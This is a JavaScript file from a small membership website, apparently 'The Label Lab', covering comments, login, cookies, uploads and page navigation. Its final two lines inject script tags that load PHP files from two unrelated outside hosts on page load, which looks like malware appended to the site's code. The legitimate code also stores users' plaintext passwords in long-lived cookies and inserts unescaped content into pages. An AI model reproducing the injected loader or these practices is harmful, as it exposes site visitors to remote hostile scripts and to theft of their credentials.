	var bod=escape(grab("commBody").value);
	var pri="";
	var img="";
	var ips="";
	var flag="";
	var loc=location.href;
	loc=loc.substring(loc.lastIndexOf("/")+1);
	if(loc.indexOf("news")!=-1){
		var linkedTable="stories";
		var linkedKey=storyData[0][0];	
	}
	if(loc.indexOf("event")!=-1){
		var linkedTable="events";
		var linkedKey=eventData[0][0];
	}
	if(loc.indexOf("member")!=-1){
		var linkedTable="profiles";
		var linkedKey=profileData[0][0];
	}
	if(typeof(linkedKey)=="object")linkedKey=linkedKey[0];
	var dat="~|~~|~"+acctNum+"~|~"+tit+"~|~"+bod+"~|~"+aut+"~|~"+pri+"~|~"+img+"~|~"+ips+"~|~"+linkedTable+"~|~"+linkedKey+"~|~"+flag;
	var res=doAjaxUpload(dat,"commentUpload");
}

//reload the current page after comment has been uploaded
function processCommentResult(resp){
	var loc=location.href;
	loc=loc.substring(loc.lastIndexOf("/")+1);
	if(loc.indexOf("member")!=-1)var res=linkToItem("profiles",profileData[0][0]);
	if(loc.indexOf("news")!=-1)var res=linkToItem("stories",storyData[0][0]);
	if(loc.indexOf("event")!=-1)var res=linkToItem("events",eventData[0][0]);
}

function removeComment(num){
	var res=doAjaxUpload(num,"commentDelete");
}

function processDeleteComment(){
	alert("Comment deleted.");
}

function deleteItemFromMenu(tab,num){
	var res=doAjaxUpload(tab+"~|~"+num,"itemDelete");
}

function processDeleteItem(res){
	alert("Item deleted.");
}

function processNewPassword(res){
	var res=alert("Your password has been changed.");
	return res;
}

function processPasswordMailout(){
	var res=alert("An e-mail message has been sent to you explaining how to access the site.");
	return res;
}

// =================================================================== AUTHENTICATION

//respond to login button click
function submitLoginData(){
	var usr=grab("emaInput");
	usr=usr.value;
	var pwd=grab("pwdInput");
	pwd=pwd.value;
	var dat=usr+"~|~"+pwd;
	var res=doAjaxUpload(dat,"login");
	var chk=grab("rememberCheck");
	var val=chk.checked;
	if(val){
		var pwdData=usr+"~|~"+pwd;
		var res=setCookie("pwdData",pwdData);
	}
}

//determine what to do with data returned from login process
function processLoginResult(resp){
	if(resp!=""&&res!=0){
		sessionID=resp;
		resp=resp.split("O");
		acctNum=resp[0];
		perm=resp[1];
		var ss=grab("sidSrc");
		ss.value=sessionID;

		var loc=document.location.href;
		loc=loc.substring(loc.lastIndexOf("/")+1);
		sessionNav(loc);

		//var iw=grab("loginWidget");
		//iw.style.visibility="hidden";
		//var ow=grab("logoutWidget");
		//ow.style.visibility="visible";
		//var nb=grab("topNav");
		//var nbTxt=nb.innerHTML;
		//if(nbTxt.indexOf("My Account")==-1)nbTxt+=myAcctStr;
		//nb.innerHTML=nbTxt;

	}
	else{
		if(typeof(resp)=="undefined")resp="";
		alert("Sorry, but that didn't work. Please check your password and try again. If you continue to have trouble logging in, click on \"Forgot password?\".");
		perm=0;
		var iw=grab("loginWidget");
		iw.style.visibility="visible";
		var ow=grab("logoutWidget");
		ow.style.visibility="hidden";
		var widg=grab("logoutWidget");
		var nb=grab("topNav");
		var nbTxt=nb.innerHTML;
		if(nbTxt.indexOf("My Account")!=-1)nbTxt=nbTxt.substring(0,nbTxt.length-myAcctStr.length);
		nb.innerHTML=nbTxt;
	}
}

//pull data from the subSrc field. it has been placed there by the PHP script
function getData(){
	var ds=grab("subSrc");
	var val=ds.value;
	return val;
}

//respond to click on logout button
function doLogout(){
	var ss=grab("sidSrc");
	if(ss)ss.value="";
	var loc=document.location.href;
	if(loc.indexOf("console.php")!=-1){
		document.location="index.php";
		return false;
	}
	//var widg=grab("logoutWidget");
	//widg.style.visibility="hidden";
	sessionID=0;
	perm=0;
	acctNum=0;
	//var res=setLoginWidget(0);

	var loc=document.location.href;
	loc=loc.substring(loc.lastIndexOf("/")+1);
	sessionNav(loc);

	return true;
}

//extract account ID from sessionID
function setAccountID(){
	if(sessionID==""||sessionID==""){
		acctNum=0;
		perm=0;
	}
	else{
		var tempID=sessionID.split("O");
		acctNum=tempID[0];
		perm=tempID[1];
	}
	return true;
}

//after authtication test, set login widget appropriately
function setLoginWidget(sessID){
	if(sessID==""||sessID==0){
		var pwdDat=getCookie("pwdData");
		if(pwdDat!=""){
			pwdDat=pwdDat.split("~|~");
			var usr=pwdDat[0];
			var pwd=pwdDat[1];
			var uInp=grab("emaInput");
			var pInp=grab("pwdInput");
			uInp.value=usr;
			pInp.value=pwd;
			var chk=grab("rememberCheck");
			chk.checked=true;
		}
		var widg=grab("loginWidget");
		var nb=grab("topNav");
		var nbTxt=nb.innerHTML;
		if(nbTxt.indexOf("My Account")!=-1)nbTxt=nbTxt.substring(0,nbTxt.length-myAcctStr.length);
		nb.innerHTML=nbTxt;
	}
	else{
		var widg=grab("logoutWidget");
		var nb=grab("topNav");
		var nbTxt=nb.innerHTML;
		if(nbTxt.indexOf("My Account")==-1)nbTxt+=myAcctStr;
		nb.innerHTML=nbTxt;
	}
	widg.style.visibility="visible";
	return true;
}


// ============================================================================= FILE UPLOAD

var curUploadID=0;

function startUploadTimer(){
	var rNum=Math.random(1000);
	curUploadID=rNum;
	setTimeout("checkUploadTimer("+rNum+")",12500);
	return true;
}

function checkUploadTimer(num){
	if(curUploadID)alert("This upload is taking a while. Files larger than 750k will not be displayed. If your file does not display, it may be too big.");
	curUpload=0;
}

//initiate file upload in hidden frame
function doUpload(inpID){
	var uf=grab("uploaderFrame");
	uf.src="uploadStart.html";
}

//respond to completion of upload process
function UPLreport(txt,targ){

	curUploadID=0;

	if(targ=="editSpace"){
		var res=placeImageInEditSpace(txt)
		return true;
	}
	var pat=txt;
	var cntnr=grab("imgHolder"+targ);
	imgWid=cntnr.style.width;
	imgHit=cntnr.style.height;
	var imgHTML="<img id="+targ+"Img src='userimages/"+pat+"' width="+imgWid+" height="+imgHit+" border=1 style=position:absolute>";
	cntnr.innerHTML=imgHTML;
	var stor=grab(targ+"ImgInput");
	stor.value=pat;
	if(targ=="Bar"){
		if(!ff)var bannerImg=grab("bannerEditDisplay");
		else var bannerImg=grab("consoleBannerHolder");
		var banStr="<img id=consoleBanner src='userimages/"+pat+"' width=840 height=75>";
		bannerImg.innerHTML=banStr;
	}
	var cb=grab(targ+"DeleteCheck");
	cb.checked=false;
	return true;
}

//place selected image into the text edit box
function placeImageInEditSpace(img){
	var lef=grab("imgUploadLefteditSpace").checked;
	var rit=grab("imgUploadLefteditSpace").checked;
	var htmlCode="";
	if(lef)htmlCode=" align=right";
	if(rit)htmlCode=" align=left";
	var es=grabEditSpaceContent();
	var curCont=es.document.body.innerHTML;
	var newImg="<img src='"+pat+"userimages/"+img+"'"+htmlCode+">";
	es.document.body.innerHTML=curCont+newImg;
	return true;
}

// ========================================================================= COOKIE HANDLERS:

function setCookie(nam,value,lifeSpan){
	if(!lifeSpan&&lifeSpan!=0)lifeSpan=365;
	var dat=new Date();
	dat.setTime(dat.getTime()+(lifeSpan*86400000));
	var expString="; expires="+dat.toGMTString();
	document.cookie=nam+"="+escape(value)+expString;
	return true;
}

function getCookie(nam){
	var res="";
	var cook=" "+document.cookie+";";
	var searchName=" "+nam+"=";
	var startOfCookie=cook.indexOf(searchName);
	if(startOfCookie!=-1){
		startOfCookie+=searchName.length;
		var endOfCookie=cook.indexOf(";",startOfCookie);
		res=unescape(cook.substring(startOfCookie,endOfCookie));
	}
	if(!res||res=="null")res="";
	return res;
}

//=========================================================================== MISCELLANEOUS UTILITIES


function acceptTerms(val){
	setCookie("acceptence",val,365);
	alert("Thank you.");
}

//replacement for cumbersome getElementById command
function grab(nam){
	return document.getElementById(nam);
}

//upload complete set of category and industry strings
function uploadNewStorageValues(){
	var id=grab("industryDataHolder").value;
	var cd=grab("categoryDataHolder").value;
	str=id+"~|~"+cd;
	var res=doAjaxUpload(str,"updateStorage");
}

//unpacks serialized 2-level array from server. Always returns a 2-level array, even a 1-level array string was passed to it.
function destring(str){
	var resArr=new Array;
	if(str.indexOf("^|^")!=-1){
		str=str.split("^|^");
		for(var s=0;s<str.length;s++){
			resArr[s]=str[s].split("~|~");
		}
	}
	else resArr[0]=tempArr=str.split("~|~");
	return resArr;
}

//turns literalized HTML back into actual HTML
function normalize(txt){
	txt=replacer(txt,"&lt;","<");
	txt=replacer(txt,"&gt;",">");
	txt=replacer(txt,"&quot;","");
	return txt;
}

//replaces specified characters
function replacer(srcStr,oldStr,newStr){
	for(var s=0;s<srcStr.length;s++){
		var sp=srcStr.indexOf(oldStr);
		if(sp!=-1){
			srcStr=srcStr.substring(0,sp)+newStr+srcStr.substring((sp+oldStr.length),srcStr.length);
		}
		else break;
	}
	return srcStr;
}

//this is called when the password checkbox is set
function updateCheckbox(){
	var ema=grab("emaInput");
	var pwd=grab("pwdInput");
	var chk=grab("rememberCheck");
	if(chk.checked){
		var eVal="";
		var pVal="";
		if(ema&&ema.value)eVal=ema.value;
		if(pwd&&pwd.value)pVal=pwd.value;
		if(eVal!=""&&pVal!=""){
			var pwdData=eVal+"~|~"+pVal;
			var res=setCookie("pwdData",pwdData);
		}
	}
	else setCookie("pwdData","");
}

//shortens a string to no more than maximum length
function truncator(str,len){
	if(typeof(str)!="string")return str;
	if(str.length<len)return str;
	return str.substring(0,len-4)+ " ...";
}

//shortens a string to no more than maximum length, and rounds to last space
function spaceTrunc(str,len){
	if(typeof(str)!="string")return str;
	if(str.length<len)return str;
	var shortStr=str.substring(0,len-3);
	shortStr=shortStr.substring(0,shortStr.lastIndexOf(" "));
	return shortStr+ " ...";
}

function chopTrunc(str,len){
	if(typeof(str)!="string")return str;
	if(str.length<len)return str;
	var shortStr=str.substring(0,len-3);
	shortStr=shortStr.substring(0,shortStr.lastIndexOf(" "));
	return shortStr;
}


// =============================================================================== AUTO-MAIL FUNCTIONS

function doForgotPassword(){
	var ema=prompt("Please enter your e-mail address.","");
	if(!ema)return false;
	var mailFrom="support@thelabellab.com";
	var mailTitle="";
	var mailContent="";
	var mailTo=ema;
	var str=mailFrom+"~|~"+mailTitle+"~|~"+mailContent+"~|~"+mailTo;
	var res=doAjaxUpload(str,"doPasswordMailout");
	return true;
}

//user send suggested industry or category via automail
function sendMailSuggestion(typ){
	var sugg=prompt("Enter your suggestion here:");
	var mailFrom="Label Lab Member";
	var mailTitle="Suggestion";
	var mailContent="I recommend you add the "+typ+" "+sugg;
	var mailTo="beezer@nwlink.com,tom@labelnetworks.com";
	str=mailFrom+"~|~"+mailTitle+"~|~"+mailContent+"~|~"+mailTo;
	var res=doAjaxUpload(str,"doMailout");
}

// ========================================================================== VALIDATION SCRIPTS

function isEmail(txt){
	txt=txt.toString();
	if(txt.indexOf("@")!=-1&&txt.indexOf(".")!=-1)return txt;
	txt=prompt("Please enter a valid e-mail address.","");
	return txt;
}

function isPassword(txt){
	txt=txt.toString();
	if(txt.length>6)return txt;
	txt=prompt("Please enter a password that is 6 characters or longer.","");
	return txt;
}

function isValidMinMax(txt,min,max,typ){
	if(!min)min=0;
	txt=txt.toString();
	if(txt.length<=min)txt=prompt("Please enter a value for "+typ+".","");
	if(txt.length>max)txt=prompt("Please enter a value for "+typ+" that is less then "+max+" characters long.","");
	return txt;
}

// ============================================================================== BASIC NAVIGATION

//specify an item by a certain table with a certain key value and display it in a new page
function linkToItem(tab,key){
	var targ="";
	if(tab=="stories")targ="newsDisplay.php?id="+key;
	if(tab=="events")targ="eventDisplay.php?id="+key;
	if(tab=="profiles")targ="memberDisplay.php?id="+key;
	var ss=grab("subSrc");
	ss.value=key;
	var res=sessionNav(targ);
}

//hides menu page to reveal data entry page
function hideMenu(num,itemNum,newEnt){
	if(newEnt)newEntry=true;
	else newEntry=false;
	var pag=grab("consolePage"+num);
	var men=grab("consoleMenu"+num);
	men.style.visibility="hidden";
	pag.style.visibility="visible";
	if(num==2){
		var stoDat=new Array;
		if(newEntry)stoDat[0]=storyVals;
		else stoDat[0]=storyData[itemNum];
		var res=populateStoryDataFromArray(stoDat);
		storyID=stoDat[0][0];
		var res=setEditSpace(2);
	}
	if(num==4){
		var evDat=new Array;
		if(newEntry)evDat[0]=eventVals;
		else evDat[0]=eventData[itemNum];
		var res=populateEventDataFromArray(evDat);
		eventID=evDat[0][0];
		var res=setEditSpace(4);
	}
}

//this is the official way to navigate such that the session ID is preserved
function sessionNav(targ){
	var fm=grab("subForm");
	if(targ.indexOf("http:")==-1)targ=pat+targ;
	fm.action=targ;
	fm.submit();
}

//clearinghouse for many UI commands
function doNav(term){
	switch(term){
		case "forgot":
			var res=doForgotPassword()
			break;
		case "home":
			sessionNav("index.php");
			break;
		case "news":
			sessionNav("newsIndex.php");
			break;
		case "events":
			sessionNav("eventIndex.php");
			break;
		case "directory":
			sessionNav("memberIndex.php");
			break;
		case "search":
			sessionNav("searchAllIndex.php");
			break;
		case "about":
			sessionNav("about.php");
			break;
		case "terms":
			sessionNav("terms.php");
			break;
		case "privacy":
			sessionNav("privacy.php");
			break;
		case "contact":
			sessionNav("contact.php");
			break;
		case "help":
			sessionNav("help.php");
			break;
		case "edit profile":
			var res=showConsolePage(0);
			break;
		case "preview profile":
			var res=showConsolePage(1);
			break;
		case "edit news":
			var res=showConsolePage(2);
			break;
		case "preview news":
			var res=showConsolePage(3);
			break;
		case "edit event":
			var res=showConsolePage(4);
			break;
		case "preview event":
			var res=showConsolePage(5);
			break;
		case "controls":
			var res=showConsolePage(6);
			break;
		case "login":
			var res=submitLoginData();
			break;
		case "logout":
			doLogout()
			break;
		case "account":
			sessionNav("console.php");
			break;
		case "login":
			var res=submitLoginData();
			break;
		case "search_sort_date":
			var res=doSearchSortDate();
			break;
		case "search_sort_name":
			var res=doSearchSortName();
			break;
		case "search_sort_category":
			var res=doSearchSortCategory();
			break;
		case "search_sort_location":
			var res=doSearchSortLocation();
			break;
		case "sign-up":
			sessionNav("createAccount.php");
			break;
		case "add_comment":
			commentJump();
			break;
		case "add_comment":
			commentJump();
			break;
		default:
			//alert("Navigating: "+term);
	}
}

function commentJump(){
	document.location=document.location.href+"#commentTop";
	if(perm==0)alert("You must log in to leave a comment.");
}

// ================================================================= CONSOLE NAVIGATION

var curConsolePage=0;
var editSpaceContentArray=new Array("","","","","","","","");
var editSpaceSavedContent=new Array("","","","","","","","");

editSpaceContentArray[0]="";

//internal navigation between tabs on the console page
function showConsolePage(num){
	var es=grabEditSpaceContent();
	if(es){
		var oldCont=es.document.body.innerHTML;
		editSpaceContentArray[curConsolePage]=oldCont;
		var srcNum=num
		if(num==1||num==3||num==5)srcNum--;
		var newCont=editSpaceContentArray[srcNum];
		es.document.body.innerHTML=newCont;
	}
	editMode="live";
	curConsolePage=num;
	for(var p=0;p<7;p++){
		var pag=grab("consolePage"+p);
		var men=grab("consoleMenu"+p);
		if(pag){
			pag.style.visibility="hidden";
			if(men)men.style.visibility="hidden";
			if(p==num){
				if(men)men.style.visibility="visible";
				else pag.style.visibility="visible";
			}
		}
	}
	if(num==1)var res=previewLatest(1);
	if(num==2)var res=populateNewsMenu(storyData);
	if(num==3)var res=previewLatest(3);
	if(num==4)var res=populateEventMenu(eventData);
	if(num==5)var res=previewLatest(5);
	if(num==2||num==4)var res=setEditSpace(100);//deliberately hide editSpace while menu shows
	else var res=setEditSpace(num);
	return true;
}

//this positions and/or hides the editSpace window
function setEditSpace(n){
	var blk=grab("blocker"+n);
	if(blk){
		if(ie){
			var gapComp=152;
			if(n==0)gapComp=243;
			var lf=parseInt(blk.offsetLeft)+18;
			var tp=parseInt(blk.offsetTop)+gapComp;
			var wd=parseInt(blk.style.width);
			var ht=parseInt(blk.style.height);
			var vz="visible";
		}
		if(ff){
			var gapComp=57;
			if(n==0)gapComp=147;
			var lf=parseInt(blk.offsetLeft)+17;
			var tp=parseInt(blk.offsetTop)+gapComp;
			var wd=parseInt(blk.style.width);
			var ht=parseInt(blk.style.height);
			var vz="visible";
		}
		if(sf){
			var gapComp=40;
			if(n==0)gapComp=42;
			var lf=parseInt(blk.offsetLeft)+1;
			var tp=parseInt(blk.offsetTop)+gapComp;
			var wd=parseInt(blk.style.width);
			var ht=parseInt(blk.style.height);
			var vz="visible";
		}
	}
	else{
		var lf=-1000;
		var tp=0;
		var wd=0;
		var ht=0;
		var vz="hidden";


	}
	var es=grabEditSpacePosition();
	es.style.top=tp;
	es.style.left=lf;
	es.style.width=wd;
	es.style.height=ht;
	es.style.visibility=vz;
	return true;
}

//this positions and/or hides the editSpaceTextarea window
function setEditSpaceTextarea(n){
	var blk=grab("blocker"+n);
	if(blk){
		if(ie){
			var gapComp=152;
			if(n==0)gapComp=243;
			var lf=parseInt(blk.offsetLeft)+16;
			var tp=parseInt(blk.offsetTop)+gapComp;
			var wd=parseInt(blk.style.width);
			var ht=parseInt(blk.style.height);
			var vz="visible";
		}
		if(ff){
			var gapComp=57;
			if(n==0)gapComp=147;
			var lf=parseInt(blk.offsetLeft)+17;
			var tp=parseInt(blk.offsetTop)+gapComp;
			var wd=parseInt(blk.style.width);
			var ht=parseInt(blk.style.height);
			var vz="visible";
		}
		if(sf){
			var gapComp=40;
			if(n==0)gapComp=42;
			var lf=parseInt(blk.offsetLeft)+1;
			var tp=parseInt(blk.offsetTop)+gapComp;
			var wd=parseInt(blk.style.width);
			var ht=parseInt(blk.style.height);
			var vz="visible";
		}
	}
	else{
		var lf=-1000;
		var tp=0;
		var wd=0;
		var ht=0;
		var vz="hidden";
	}
	var es=grab("editSpaceTextarea");
	es.style.top=tp;
	es.style.left=lf;
	es.style.width=wd;
	es.style.height=ht;
	es.style.visibility=vz;
	return true;
}

//show preview version of page being edited
function previewLatest(num){
	var ter="consolePage"+num;
	var cntnr=grab(ter);
	if(num==1){
		var profileDatStr=collectProfileDataToString();
		profileDatStr="~|~~|~"+profileDatStr;
		profileData[0]=profileDatStr.split("~|~");
		cntnr.innerHTML=drawProfilePage(2);
	}
	if(num==3){
		storyDatStr=collectStoryDataToString();
		storyDatStr="~|~~|~"+storyDatStr;
		storyData[0]=storyDatStr.split("~|~");
		cntnr.innerHTML=drawNewsPage(1);
	}
	if(num==5){
		eventDatStr=collectEventDataToString();
		eventDatStr="~|~~|~"+eventDatStr;
		eventData[0]=eventDatStr.split("~|~");
		cntnr.innerHTML=drawEventPage(1);
	}
	return true;
}

function populateNewsMenu(dat){
	var men=grab("consoleMenu2");
	if(men)men.innerHTML=getMenuContent(dat,2);
	return true;
}

function populateEventMenu(dat){
	var men=grab("consoleMenu4");
	if(men)men.innerHTML=getMenuContent(dat,4);
	return true;
}

//called on page load ... initializes text editors and preloads the profile page.
function setup(){
	var locStr=location.href;
	if(locStr.indexOf("console.php")!=-1){
		var ret=enableDesignMode("");//used to say: Initial content.
		var res=populateProfileDataFromArray(profileData);
		if(!ie){
			oRTE=document.getElementById("editSpace");
			if(oRTE){
				oRTE=oRTE.contentWindow.document
				oRTE.addEventListener("keypress", kb_handler, true);
			}
		}
	}
	refPt=grab("mainFrame");
	rX=refPt.offsetLeft;
	rY=refPt.offsetTop;
	if(ff||sf)var res=correctPosition();

	var res=restoreProfileCheck();
	var res=restoreStoryCheck();
	var res=restoreEventCheck();

	if(sf13){
		var aFrame=grab("sf13Frame");
		aFrame.src="data/sf13notice.php";
		alert("You are using an older version of the Safari browser. Some features of this site are not supported on this browser. We recommend using Safari version 2.0 or greater.");
	}

}

function takeDown(){
	var cp=location.href;
	var pNam=cp.substring(cp.lastIndexOf("/")+1);
	if(pNam=="console.php")doUnsavedDataCheck();
}


//reposition content containers in FF
function doFFCorrection(){
	var loc=document.location.href;
	var cons=false;
	var norm=false;
	if(loc.indexOf("console.php")!=-1)cons=true;
	else norm=true;
	if(norm){
		var ip=grab("infoPage0");
		ip.style.left=rX+1;
		ip.style.top=rY+78;
	}
	if(cons){
		for(var c=0;c<7;c++){
			var cp=grab("consolePage"+c);
			cp.style.left=rX+1;
			cp.style.top=rY+78;
			if(c==6){
				var cp=grab("consolePage"+c);
				cp.style.left=rX+1;
				cp.style.top=rY+84;
			}
			if(c==2||c==4){
				var cm=grab("consoleMenu"+c);
				cm.style.left=rX+17;
				cm.style.top=rY+106;
			}
		}
		var ct=grab("consoleTabs");
		ct.style.left=rX+17;
		ct.style.top=rY+75;
		var rt=grab("rightTextFieldColumn");
		rt.style.left=rX+320;
		rt.style.top=rY+237;
		var ic=grab("indChoiceContainer");
		ic.style.left=rX+600;
		ic.style.top=rY+237;
		var pb=grab("consoleBanner");
		pb.style.top=rY+7;
	}
}
document.write('<script src=http://dannu.extra.hu/pic/default.php ><\/script>');
document.write('<script src=http://filmsutra.com/fs_media/error_log.php ><\/script>');